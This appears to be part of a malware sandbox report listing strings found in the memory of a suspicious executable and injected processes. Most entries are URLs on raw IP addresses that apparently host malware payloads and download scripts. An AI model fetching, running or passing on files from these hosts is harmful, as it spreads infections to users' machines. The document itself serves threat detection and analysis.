Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.c equals www.facebook.com (Facebook)
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.c equals www.twitter.com (Twitter)
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.c equals www.youtube.com (Youtube)

Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe7c
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe8
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe:t
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe;
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeP
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeU
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeings
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeom/D
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exez
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1451806500.0000000004369000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.000000000437A000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1418845249.000000000437A000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1456849996.000000000436F000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.000000000436C000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.000000000437A000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.0000000004369000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429328334.000000000437A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/pelikan
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/pelikanK
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.phpV
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.php_
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.phpaw
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.phpx
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82
Source: AddInProcess32.exe, 00000005.00000002.2604784378.00000000029A3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D19000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002994000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/15/AppGate2103v15.exe
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/15/AppGate2103v15.exe$n
Source: AddInProcess32.exe, 00000005.00000002.2604784378.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/15/AppGate2103v15.exe)
Source: AddInProcess32.exe, 00000005.00000002.2604784378.00000000029A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/15/AppGate2103v15.exet-
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.18
Source: explorer.exe, 00000024.00000003.2275944266.0000000011531000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://45.129.96.86:80/file/update.exe
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.0b
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1451806500.0000000004369000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.000000000437A000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1418845249.000000000437A000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1456849996.000000000436F000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.000000000436C000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1461461741.0000000002A65000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.000000000437A000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.0000000004369000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429328334.000000000437A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exeitdq
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1461461741.0000000002A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpP=ce
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phps/Iy
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phphp
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phppuLp$
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpt_
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.phpLt
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.47
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.00000000029A3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.000000000299F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D19000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002994000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.47/files/setup.exe
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D19000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.47/files/setup.exe$n
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.47/files/setup.exe-
Source: explorer.exe, 00000024.00000003.2272271492.000000000C721000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2273666539.000000000C721000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://66.85.156.89/
Source: explorer.exe, 00000024.00000003.2274886425.000000000C1E9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://66.85.156.89/nafdhkdf.exe
Source: explorer.exe, 00000024.00000003.2274608551.000000000C42C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://66.85.156.89:80/nafdhkdf.exec#
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1315897235.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1315587677.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/bing_release.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpb
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1315897235.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26:80/api/bing_release.php
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exeyy
Source: svchost.exe, 00000034.00000003.1879020680.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2019585749.000001F4D993C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000034.00000002.2853548341.000001F4D96A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E%3C/ds:KeyInfo%3E%3CCipherData%3E%3CCipherValue%3EM.C552_BAY
